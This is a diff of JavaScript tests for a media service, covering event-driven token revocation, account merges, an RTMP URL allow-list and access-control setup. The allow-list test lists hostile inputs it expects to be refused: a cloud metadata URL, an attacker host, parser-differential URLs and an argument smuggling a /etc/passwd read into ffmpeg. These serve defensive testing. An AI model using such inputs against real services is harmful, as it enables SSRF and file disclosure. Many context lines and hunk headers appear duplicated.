+ const at = Date.parse('2026-09-25T12:00:00Z');
+ const ev = (over = {}) => ({ event_id: 'evt_01J8Z3Q4R5S6T7V8W9X0Y1Z2A3', event_type: revocations.TOPIC, version: 1, source: 'network',
+ payload: { subject: { type: 'user', id: SUBJECT }, valid_after: new Date(at).toISOString(), reason: 'signed_out_everywhere' }, ...over });
- // The boot subscription: created once, then found.
- process.env.EVENTS_URL = 'http://events.test'; process.env.OV_OAUTH_CLIENT_SECRET = 's'.repeat(40);
- const subs = [];
- const fake = async (u, init = {}) => {
- if (/\/oauth\/token$/.test(u)) return new Response(JSON.stringify({ access_token: 't', token_type: 'Bearer', expires_in: 300 }), { status: 200, headers: { 'content-type': 'application/json' } });
- if (init.method === 'POST') { subs.push(JSON.parse(init.body)); return Response.json({ id: 'sub_1' }, { status: 201 }); }
- return Response.json({ subscriptions: subs.map((s, i) => ({ id: `sub_${i}`, ...s })) });
+ (async () => {
+ const app = express();
+ // As in server/index.js: mounted before the JSON parser (the signature is over the raw body).
+ const src = fs.readFileSync(path.join(__dirname, '../server/index.js'), 'utf8');
+ assert.ok(src.indexOf("app.post('/internal/events'") < src.indexOf("app.use(express.json("), 'the events route comes before express.json()');
+ app.post('/internal/events', ...revocations.handler());
+ app.use(express.json());
+ const srv = http.createServer(app);
+ await new Promise((r) => srv.listen(0, '127.0.0.1', r));
+ const url = `http://127.0.0.1:${srv.address().port}/internal/events`;
+ const post = (event, { secret = process.env.MEDIA_INBOUND_EVENTS_SECRET, headers = {} } = {}) => {
+ const body = JSON.stringify({ event, seq: 1 });
+ return fetch(url, { method: 'POST', body, headers: { 'content-type': 'application/json', ...signDeliveryHeaders(body, secret), ...headers } }).then(async (r) => ({ status: r.status, body: await r.json().catch(() => ({})) }));
};
};
- assert.strictEqual(await revocations.ensureSubscription({ fetchImpl: fake, log: { log() {} } }), 'created');
- assert.strictEqual(await revocations.ensureSubscription({ fetchImpl: fake, log: { log() {} } }), 'exists');
- assert.deepStrictEqual(subs.map((s) => s.topic_pattern), [revocations.TOPIC, 'network.subject.merged', 'network.account.export_requested', 'network.account.deleted'], 'one subscription per topic, created once');
- } finally {
- srv.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- }
- console.log('media revocations: all checks passed');
-})().catch((e) => { console.error(e); process.exit(1); });
+ try {
+ const old = { subject_id: SUBJECT, iat: at / 1000 - 30 };
+ assert.strictEqual(revocations.isRevoked(old), false);
+ assert.strictEqual((await post(ev(), { secret: 'x'.repeat(40) })).status, 401, 'forged');
+ assert.strictEqual((await post(ev(), { headers: { 'x-forwarded-for': '1.2.3.4' } })).status, 404, 'never through the proxy');
+ assert.strictEqual((await post(ev({ source: 'live' }))).body.outcome, 'ignored:source');
+ assert.strictEqual(revocations.isRevoked(old), false);
+ assert.strictEqual((await post(ev())).body.outcome, 'revoked');
+ assert.strictEqual(revocations.isRevoked(old), true, 'older tokens are refused');
+ assert.strictEqual(revocations.isRevoked({ subject_id: SUBJECT, iat: at / 1000 + 5 }), false, 'newer ones are fine');
+ assert.strictEqual((await post(ev())).body.outcome, 'unchanged', 'a redelivery');
+
+ // network.subject.merged (ADR-029): the folded-in account's objects are the survivor's, once per merge.
+ const db = require('../server/db/database').getDb();
+ const FROM = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2B4', INTO = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2C5';
+ const obj = db.prepare("INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject) VALUES (?, 'live', 'live', 'file', ?)");
+ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D6', FROM); await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2E7', FROM); await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2F8', SUBJECT);
+ const merged = (over = {}) => ev({ event_id: 'evt_01J8Z3Q4R5S6T7V8W9X0Y1Z2G9', event_type: 'network.subject.merged', payload: { merge_id: 'mrg_01J8Z3Q4R5S6T7V8W9X0Y1Z2H0', from: FROM, into: INTO, merged_at: '2026-09-27T21:00:00.000Z', initiated_by: 'person' }, ...over });
+ assert.strictEqual((await post(merged({ source: 'live' }))).body.outcome, 'ignored:source');
+ assert.strictEqual((await post(merged())).body.outcome, 'merged');
+ assert.deepStrictEqual((await db.prepare('SELECT owner_subject AS o, COUNT(*) AS n FROM media_objects GROUP BY o ORDER BY o').all()).map((r) => [r.o, r.n]), [[SUBJECT, 1], [INTO, 2]].sort());
+ assert.strictEqual((await post(merged())).body.outcome, 'unchanged', 'a redelivery moves nothing');
+ assert.strictEqual((await db.prepare('SELECT objects FROM subject_merges').get()).objects, 2);
+ const src = fs.readFileSync(path.join(__dirname, '../server/user-auth.js'), 'utf8');
+ assert.ok(/require\('\.\/revocations'\)\.isRevoked\(claims\)/.test(src), 'the site token check consults it');
+
+ // The boot subscription: created once, then found.
+ process.env.EVENTS_URL = 'http://events.test'; process.env.OV_OAUTH_CLIENT_SECRET = 's'.repeat(40);
+ const subs = [];
+ const fake = async (u, init = {}) => {
+ if (/\/oauth\/token$/.test(u)) return new Response(JSON.stringify({ access_token: 't', token_type: 'Bearer', expires_in: 300 }), { status: 200, headers: { 'content-type': 'application/json' } });
+ if (init.method === 'POST') { subs.push(JSON.parse(init.body)); return Response.json({ id: 'sub_1' }, { status: 201 }); }
+ return Response.json({ subscriptions: subs.map((s, i) => ({ id: `sub_${i}`, ...s })) });
+ };
+ assert.strictEqual(await revocations.ensureSubscription({ fetchImpl: fake, log: { log() {} } }), 'created');
+ assert.strictEqual(await revocations.ensureSubscription({ fetchImpl: fake, log: { log() {} } }), 'exists');
+ assert.deepStrictEqual(subs.map((s) => s.topic_pattern), [revocations.TOPIC, 'network.subject.merged', 'network.account.export_requested', 'network.account.deleted'], 'one subscription per topic, created once');
+ } finally {
+ srv.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ }
+ console.log('media revocations: all checks passed');
+ })().catch((e) => { console.error(e); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -10,80 +10,82 @@ const path = require('path');
@@ -10,80 +10,82 @@ const path = require('path');
const http = require('http');
const http = require('http');
const express = require('express');
const express = require('express');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-rtmp-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
-});
-delete process.env.MEDIA_RTMP_PULL_ALLOW;
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-rtmp-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
+ });
+ delete process.env.MEDIA_RTMP_PULL_ALLOW;
-const config = require('../server/config');
-const recorder = require('../server/vod/recorder');
-const { checkRtmpUrl } = recorder;
+ const config = require('../server/config');
+ const recorder = require('../server/vod/recorder');
+ const { checkRtmpUrl } = recorder;
-assert.deepStrictEqual(config.rtmpPull.allow, ['127.0.0.1:1935', 'localhost:1935', '[::1]:1935'], 'default: Live\'s RTMP server on this host');
+ assert.deepStrictEqual(config.rtmpPull.allow, ['127.0.0.1:1935', 'localhost:1935', '[::1]:1935'], 'default: Live\'s RTMP server on this host');
-// ── 1. The allow-list and the URL shape ──
-for (const ok of ['rtmp://127.0.0.1:1935/live/abc123', 'rtmp://localhost:1935/live/Key_9-x', 'rtmp://127.0.0.1/live/k', 'rtmp://[::1]:1935/live/k',
- 'RTMP://127.0.0.1:1935/live/k', 'rtmp://127.0.0.1:1935/live/k?token=a%2Fb&x=1']) {
- assert.ok(checkRtmpUrl(ok).ok, `allowed: ${ok}`);
-}
-assert.deepStrictEqual([checkRtmpUrl('rtmp://127.0.0.1/live/k').host, checkRtmpUrl('rtmp://127.0.0.1/live/k').port], ['127.0.0.1', 1935], 'no port = 1935');
-assert.strictEqual(checkRtmpUrl('RTMP://127.0.0.1:1935/live/K').url, 'rtmp://127.0.0.1:1935/live/K', 'ffmpeg gets a lower-case scheme');
-const refused = [
- 'rtmp://10.0.0.5:1935/live/k', // another host on the network
- 'rtmp://169.254.169.254:80/latest/meta-data', // cloud metadata
- 'rtmp://127.0.0.1:22/x', // a local port that is not the RTMP server
- 'rtmp://127.0.0.1:4100/x', // Media itself
- 'rtmp://evil.example/live',
- 'rtmp://user:[email protected]:1935/x', // user info
- 'rtmp://127.0.0.1:[email protected]/x', // parser differential
- 'rtmp://127.0.0.1:1935\\@evil.example/x',
- 'rtmp://127.0.0.1:1935/live/k -i file:///etc/passwd',
- 'rtmp://127.0.0.1:1935/x\r\nfoo',
- 'rtmp://0x7f.0.0.1:1935/x', // alternative spellings of loopback are not on the list
- 'rtmp://127.1:1935/x',
- 'rtmps://127.0.0.1/x', // 443 is not the RTMP server
- 'rtmpt://127.0.0.1:1935/x', 'http://127.0.0.1:1935/', 'file:///etc/passwd', 'concat:rtmp://127.0.0.1:1935/x', '', null, 42,
- `rtmp://127.0.0.1:1935/${'a'.repeat(3000)}`,
-];
-for (const bad of refused) assert.strictEqual(checkRtmpUrl(bad).ok, false, `refused: ${JSON.stringify(bad)}`);
-assert.ok(/not an allowed RTMP ingest/.test(checkRtmpUrl('rtmp://10.0.0.5:1935/live/k').error));
-assert.ok(checkRtmpUrl('rtmp://ingest.openre.stream:1936/live/k', ['ingest.openre.stream:1936']).ok, 'the list is configuration (OpenRe on 1936, say)');
-console.log('✅ only allow-listed host:port pairs with a plain URL shape pass');
+ // ── 1. The allow-list and the URL shape ──
+ for (const ok of ['rtmp://127.0.0.1:1935/live/abc123', 'rtmp://localhost:1935/live/Key_9-x', 'rtmp://127.0.0.1/live/k', 'rtmp://[::1]:1935/live/k',
+ 'RTMP://127.0.0.1:1935/live/k', 'rtmp://127.0.0.1:1935/live/k?token=a%2Fb&x=1']) {
+ assert.ok(checkRtmpUrl(ok).ok, `allowed: ${ok}`);
+ }
+ assert.deepStrictEqual([checkRtmpUrl('rtmp://127.0.0.1/live/k').host, checkRtmpUrl('rtmp://127.0.0.1/live/k').port], ['127.0.0.1', 1935], 'no port = 1935');
+ assert.strictEqual(checkRtmpUrl('RTMP://127.0.0.1:1935/live/K').url, 'rtmp://127.0.0.1:1935/live/K', 'ffmpeg gets a lower-case scheme');
+ const refused = [
+ 'rtmp://10.0.0.5:1935/live/k', // another host on the network
+ 'rtmp://169.254.169.254:80/latest/meta-data', // cloud metadata
+ 'rtmp://127.0.0.1:22/x', // a local port that is not the RTMP server
+ 'rtmp://127.0.0.1:4100/x', // Media itself
+ 'rtmp://evil.example/live',
+ 'rtmp://user:[email protected]:1935/x', // user info
+ 'rtmp://127.0.0.1:[email protected]/x', // parser differential
+ 'rtmp://127.0.0.1:1935\\@evil.example/x',
+ 'rtmp://127.0.0.1:1935/live/k -i file:///etc/passwd',
+ 'rtmp://127.0.0.1:1935/x\r\nfoo',
+ 'rtmp://0x7f.0.0.1:1935/x', // alternative spellings of loopback are not on the list
+ 'rtmp://127.1:1935/x',
+ 'rtmps://127.0.0.1/x', // 443 is not the RTMP server
+ 'rtmpt://127.0.0.1:1935/x', 'http://127.0.0.1:1935/', 'file:///etc/passwd', 'concat:rtmp://127.0.0.1:1935/x', '', null, 42,
+ `rtmp://127.0.0.1:1935/${'a'.repeat(3000)}`,
+ ];
+ for (const bad of refused) assert.strictEqual(checkRtmpUrl(bad).ok, false, `refused: ${JSON.stringify(bad)}`);
+ assert.ok(/not an allowed RTMP ingest/.test(checkRtmpUrl('rtmp://10.0.0.5:1935/live/k').error));
+ assert.ok(checkRtmpUrl('rtmp://ingest.openre.stream:1936/live/k', ['ingest.openre.stream:1936']).ok, 'the list is configuration (OpenRe on 1936, say)');
+ console.log('✅ only allow-listed host:port pairs with a plain URL shape pass');
-(async () => {
- // ── 2. The recorder and the route refuse before anything starts ──
- const db = require('../server/db/database');
- db.upsertApp({ app_id: 'live', api_key: 'live-key-rtmp-test' });
- const vodId = Number(db.createVod({ app_id: 'live', title: 'x' }).lastInsertRowid);
- const r = recorder.startRtmp(db.getVodById(vodId), 'rtmp://10.0.0.5:1935/live/k');
- assert.deepStrictEqual([r.ok, r.status], [false, 400]);
- assert.strictEqual(recorder.activeCount(), 0, 'no ffmpeg was started');
- assert.strictEqual(db.getVodById(vodId).is_recording, 0);
+ (async () => {
+ // ── 2. The recorder and the route refuse before anything starts ──
+ const db = require('../server/db/database');
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key-rtmp-test' });
+ const vodId = Number((await db.createVod({ app_id: 'live', title: 'x' })).lastInsertRowid);
+ const r = recorder.startRtmp(await db.getVodById(vodId), 'rtmp://10.0.0.5:1935/live/k');
+ assert.deepStrictEqual([r.ok, r.status], [false, 400]);
+ assert.strictEqual(recorder.activeCount(), 0, 'no ffmpeg was started');
+ assert.strictEqual((await db.getVodById(vodId)).is_recording, 0);
- const app = express();
- app.use(express.json());
- app.use('/api/v1/:app/vods', require('../server/vod/routes'));
- const server = await new Promise((res) => { const s = app.listen(0, '127.0.0.1', () => res(s)); });
- const post = (p, body) => new Promise((resolve, reject) => {
- const data = JSON.stringify(body);
- const req = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method: 'POST',
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data), Authorization: 'Bearer live-key-rtmp-test' } },
- (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });
- req.on('error', reject);
- req.end(data);
- });
- for (const url of ['rtmp://169.254.169.254:80/x', 'rtmp://127.0.0.1:[email protected]/x', 'file:///etc/passwd']) {
- const res = await post(`/api/v1/live/vods/${vodId}/ingest/rtmp`, { rtmp_url: url });
- assert.strictEqual(res.status, 400, `${url} → ${res.status}`);
- }
- assert.strictEqual(recorder.activeCount(), 0);
- server.close();
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('✅ POST …/ingest/rtmp answers 400 for a URL off the list, and starts no ffmpeg');
- console.log('\n✅ All RTMP allow-list tests passed');
- process.exit(0);
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v1/:app/vods', require('../server/vod/routes'));
+ const server = await new Promise((res) => { const s = app.listen(0, '127.0.0.1', () => res(s)); });
+ const post = (p, body) => new Promise((resolve, reject) => {
+ const data = JSON.stringify(body);
+ const req = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method: 'POST',
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data), Authorization: 'Bearer live-key-rtmp-test' } },
+ (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });
+ req.on('error', reject);
+ req.end(data);
+ });
+ for (const url of ['rtmp://169.254.169.254:80/x', 'rtmp://127.0.0.1:[email protected]/x', 'file:///etc/passwd']) {
+ const res = await post(`/api/v1/live/vods/${vodId}/ingest/rtmp`, { rtmp_url: url });
+ assert.strictEqual(res.status, 400, `${url} → ${res.status}`);
+ }
+ assert.strictEqual(recorder.activeCount(), 0);
+ server.close();
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('✅ POST …/ingest/rtmp answers 400 for a URL off the list, and starts no ffmpeg');
+ console.log('\n✅ All RTMP allow-list tests passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -7,9 +7,13 @@
@@ -7,9 +7,13 @@
* npm test -- objects jobs # only files whose name contains one of the words
* npm test -- objects jobs # only files whose name contains one of the words
* npm test -- --strict # a skipped test fails the run too
* npm test -- --strict # a skipped test fails the run too
*
*
- * The tests use temp SQLite databases and local servers on random ports. A few need ffmpeg (clip cuts,
+ * Each test gets a migrated PostgreSQL database of its own (PGlite; the containers under npm run test:pg) and local
+ * servers on random ports. A few need ffmpeg (clip cuts,
* previews, remux, duration measurement) or a non-loopback interface; without them they print
* previews, remux, duration measurement) or a non-loopback interface; without them they print
* `<label>: skipped (<why>)`, and that file is listed with ○ and not counted as passed.
* `<label>: skipped (<why>)`, and that file is listed with ○ and not counted as passed.
*/
*/
'use strict';
'use strict';
-require('openvibe-shared/test-runner').main({ dir: __dirname, timeoutMs: 300000, pad: 40, parallel: 1, hide: /^\[DB\] / });
+const { pathToFileURL } = require('url');
+// Every test process starts with a migrated database of its own (test/helpers/pg-preload.mjs; ADR-035).
+const preload = pathToFileURL(require('path').join(__dirname, 'helpers', 'pg-preload.mjs')).href;
+require('openvibe-shared/test-runner').main({ dir: __dirname, timeoutMs: 300000, pad: 40, parallel: 1, hide: /^\[DB\] /, nodeArgs: ['--import', preload] });
@@ -19,268 +19,270 @@ const path = require('path');
@@ -19,268 +19,270 @@ const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-idor-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'), OBJECTS_PATH: dir('objects'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), ASSETS_PATH: dir('assets'),
- OV_NETWORK_URL: 'https://openvibe.network', MEDIA_PUBLIC_URL: 'https://media.test', MEDIA_SIGNING_SECRET: 'test-signing-secret',
- MEDIA_UPLOAD_MIN_FREE_MB: '0', MEDIA_MULTIPART_MIN_PART_MB: '1', MEDIA_JOBS_ENABLED: '0',
-});
-for (const k of ['EVENTS_URL', 'MEDIA_B2_ENDPOINT', 'MEDIA_R2_ENDPOINT', 'PASTES_MOVED_TO']) process.env[k] = '';
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-idor-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'), OBJECTS_PATH: dir('objects'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), ASSETS_PATH: dir('assets'),
+ OV_NETWORK_URL: 'https://openvibe.network', MEDIA_PUBLIC_URL: 'https://media.test', MEDIA_SIGNING_SECRET: 'test-signing-secret',
+ MEDIA_UPLOAD_MIN_FREE_MB: '0', MEDIA_MULTIPART_MIN_PART_MB: '1', MEDIA_JOBS_ENABLED: '0',
+ });
+ for (const k of ['EVENTS_URL', 'MEDIA_B2_ENDPOINT', 'MEDIA_R2_ENDPOINT', 'PASTES_MOVED_TO']) process.env[k] = '';
-const db = require('../server/db/database');
-const auth = require('../server/auth');
-const queue = require('../server/jobs/queue');
-const objectRoutes = require('../server/objects/routes');
-const { serviceAuth, ids } = require('openvibe-contracts');
-const express = require('express');
+ const db = require('../server/db/database');
+ const auth = require('../server/auth');
+ const queue = require('../server/jobs/queue');
+ const objectRoutes = require('../server/objects/routes');
+ const { serviceAuth, ids } = require('openvibe-contracts');
+ const express = require('express');
-const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
-auth._setNetworkPublicKeyForTests(keys.publicKey);
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-db.upsertApp({ app_id: 'games', api_key: 'games-key' });
-const raw = db.getDb();
-const now = Math.floor(Date.now() / 1000);
-const jti = () => `tok_${crypto.randomBytes(6).toString('hex')}`;
-const ALL_CAPS = ['media.object.upload', 'media.object.read', 'media.object.list', 'media.object.delete', 'media.derivative.create'];
-const svc = (ns) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:example', actor_type: 'service', aud: ['openvibe.media'], cap: ALL_CAPS, ns, iat: now, exp: now + 300, jti: jti() }, keys.privateKey);
-const PA = `prj_${ids.ulid()}`, PB = `prj_${ids.ulid()}`;
-const appTok = (project) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: `app:app_${ids.ulid()}`, actor_type: 'app', aud: ['openvibe.media'], cap: ALL_CAPS, ns: [project], project_id: project, env: 'production', iat: now, exp: now + 300, jti: jti() }, keys.privateKey);
+ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
+ auth._setNetworkPublicKeyForTests(keys.publicKey);
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });
+ const raw = db.getDb();
+ const now = Math.floor(Date.now() / 1000);
+ const jti = () => `tok_${crypto.randomBytes(6).toString('hex')}`;
+ const ALL_CAPS = ['media.object.upload', 'media.object.read', 'media.object.list', 'media.object.delete', 'media.derivative.create'];
+ const svc = (ns) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:example', actor_type: 'service', aud: ['openvibe.media'], cap: ALL_CAPS, ns, iat: now, exp: now + 300, jti: jti() }, keys.privateKey);
+ const PA = `prj_${ids.ulid()}`, PB = `prj_${ids.ulid()}`;
+ const appTok = (project) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: `app:app_${ids.ulid()}`, actor_type: 'app', aud: ['openvibe.media'], cap: ALL_CAPS, ns: [project], project_id: project, env: 'production', iat: now, exp: now + 300, jti: jti() }, keys.privateKey);
-// ── v1 rows, all user 5's ──
-const file = (d, n, bytes = 64) => { const p = path.join(d, n); fs.writeFileSync(p, Buffer.alloc(bytes, 1)); return p; };
-const mkVod = (title, visibility) => Number(db.createVod({ app_id: 'live', user_id: 5, title, file_path: file(process.env.VOD_PATH, `${title}.webm`), duration_seconds: 10, visibility, thumbnail_url: `/t/${title}.jpg` }).lastInsertRowid);
-const privVod = mkVod('privvod', 'private');
-const pubVod = mkVod('pubvod', 'public');
-const mkClip = (title, visibility) => Number(db.createClip({ app_id: 'live', vod_id: pubVod, user_id: 5, title, file_path: file(process.env.CLIPS_PATH, `${title}.webm`), duration_seconds: 5, is_public: visibility === 'public' ? 1 : 0, visibility, status: 'ready' }).lastInsertRowid);
-const privClip = mkClip('privclip', 'private');
-const pubClip = mkClip('pubclip', 'public');
-const assetId = Number(raw.prepare("INSERT INTO assets (app_id, kind, name, file_path, user_id) VALUES ('live', 'emote', 'hi', ?, 5)").run(file(process.env.ASSETS_PATH, 'hi.png')).lastInsertRowid);
-const v1State = () => ({
- vods: raw.prepare('SELECT id, title, visibility, is_public, thumbnail_url, is_recording FROM vods ORDER BY id').all(),
- clips: raw.prepare('SELECT id, title, visibility, is_public, status, thumbnail_url, cut_attempts FROM clips ORDER BY id').all(),
- files: raw.prepare('SELECT key FROM files ORDER BY key').all(),
- assets: raw.prepare('SELECT id FROM assets ORDER BY id').all(),
-});
+ // ── v1 rows, all user 5's ──
+ const file = (d, n, bytes = 64) => { const p = path.join(d, n); fs.writeFileSync(p, Buffer.alloc(bytes, 1)); return p; };
+ const mkVod = async (title, visibility) => Number((await db.createVod({ app_id: 'live', user_id: 5, title, file_path: file(process.env.VOD_PATH, `${title}.webm`), duration_seconds: 10, visibility, thumbnail_url: `/t/${title}.jpg` })).lastInsertRowid);
+ const privVod = await mkVod('privvod', 'private');
+ const pubVod = await mkVod('pubvod', 'public');
+ const mkClip = async (title, visibility) => Number((await db.createClip({ app_id: 'live', vod_id: pubVod, user_id: 5, title, file_path: file(process.env.CLIPS_PATH, `${title}.webm`), duration_seconds: 5, is_public: visibility === 'public' ? 1 : 0, visibility, status: 'ready' })).lastInsertRowid);
+ const privClip = await mkClip('privclip', 'private');
+ const pubClip = await mkClip('pubclip', 'public');
+ const assetId = Number((await raw.prepare("INSERT INTO assets (app_id, kind, name, file_path, user_id) VALUES ('live', 'emote', 'hi', ?, 5) RETURNING id").run(file(process.env.ASSETS_PATH, 'hi.png'))).lastInsertRowid);
+ const v1State = async () => ({
+ vods: await raw.prepare('SELECT id, title, visibility, is_public, thumbnail_url, is_recording FROM vods ORDER BY id').all(),
+ clips: await raw.prepare('SELECT id, title, visibility, is_public, status, thumbnail_url, cut_attempts FROM clips ORDER BY id').all(),
+ files: await raw.prepare('SELECT key FROM files ORDER BY key').all(),
+ assets: await raw.prepare('SELECT id FROM assets ORDER BY id').all(),
+ });
-const app = express();
-app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
-app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...objectRoutes.partHandlers);
-app.use(express.json());
-app.use('/api/v1/:app/vods', require('../server/vod/routes'));
-app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
-app.use('/api/v1/:app/files', require('../server/files/routes'));
-app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));
-app.use('/api/v1/:app/assets', require('../server/assets/routes'));
-app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));
-app.use('/api/v2/:app/objects', objectRoutes);
-app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
-app.use('/api/v2/:app/namespaces', require('../server/objects/namespace-routes'));
-const server = http.createServer(app);
+ const app = express();
+ app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
+ app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...objectRoutes.partHandlers);
+ app.use(express.json());
+ app.use('/api/v1/:app/vods', require('../server/vod/routes'));
+ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
+ app.use('/api/v1/:app/files', require('../server/files/routes'));
+ app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));
+ app.use('/api/v1/:app/assets', require('../server/assets/routes'));
+ app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));
+ app.use('/api/v2/:app/objects', objectRoutes);
+ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
+ app.use('/api/v2/:app/namespaces', require('../server/objects/namespace-routes'));
+ const server = http.createServer(app);
-(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}`;
- const local = (u) => String(u).replace('https://media.test', '');
- const call = async (method, p, headers = {}, body) => {
- const h = { ...headers };
- let payload = body;
- if (body !== undefined && !Buffer.isBuffer(body) && typeof body !== 'string' && !(body instanceof FormData)) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
- const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });
- const text = await res.text();
- let json = null; try { json = JSON.parse(text); } catch { /* not JSON */ }
- return { status: res.status, text, json };
- };
- const key = (k) => ({ authorization: `Bearer ${k}` });
- const asUser = (id) => ({ ...key('live-key'), 'x-ov-user-id': String(id) });
- const same = async (a, b, msg) => {
- const [x, y] = [await call(...a), await call(...b)];
- assert.deepStrictEqual([x.status, x.text], [y.status, y.text], msg);
- assert.ok(x.status >= 400, `${msg}: refused (${x.status})`);
- return x;
- };
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const local = (u) => String(u).replace('https://media.test', '');
+ const call = async (method, p, headers = {}, body) => {
+ const h = { ...headers };
+ let payload = body;
+ if (body !== undefined && !Buffer.isBuffer(body) && typeof body !== 'string' && !(body instanceof FormData)) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
+ const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });
+ const text = await res.text();
+ let json = null; try { json = JSON.parse(text); } catch { /* not JSON */ }
+ return { status: res.status, text, json };
+ };
+ const key = (k) => ({ authorization: `Bearer ${k}` });
+ const asUser = (id) => ({ ...key('live-key'), 'x-ov-user-id': String(id) });
+ const same = async (a, b, msg) => {
+ const [x, y] = [await call(...a), await call(...b)];
+ assert.deepStrictEqual([x.status, x.text], [y.status, y.text], msg);
+ assert.ok(x.status >= 400, `${msg}: refused (${x.status})`);
+ return x;
+ };
- // ── v2 objects ──
- const init = async (tenant, headers, body) => {
- const r = await call('POST', `/api/v2/${tenant}/objects`, headers, { kind: 'file', mime_type: 'text/plain', filename: 'x.txt', ...body });
+ // ── v2 objects ──
+ const init = async (tenant, headers, body) => {
+ const r = await call('POST', `/api/v2/${tenant}/objects`, headers, { kind: 'file', mime_type: 'text/plain', filename: 'x.txt', ...body });
+ assert.strictEqual(r.status, 201, r.text);
+ return r.json;
+ };
+ const mkReady = async (tenant, headers, body) => {
+ const o = await init(tenant, headers, { size_bytes: 5, ...body });
+ assert.strictEqual((await call('PUT', local(o.upload.url), { 'content-type': 'text/plain' }, 'hello')).status, 200);
+ assert.strictEqual((await call('POST', `/api/v2/${tenant}/objects/${o.id}/complete`, headers, {})).status, 200);
+ return o.id;
+ };
+ const priv5 = await mkReady('live', asUser(5), { visibility: 'private' });
+ const pub5 = await mkReady('live', asUser(5), { visibility: 'public' });
+ const up5 = await init('live', asUser(5), { visibility: 'private', size_bytes: 5 }); // still uploading
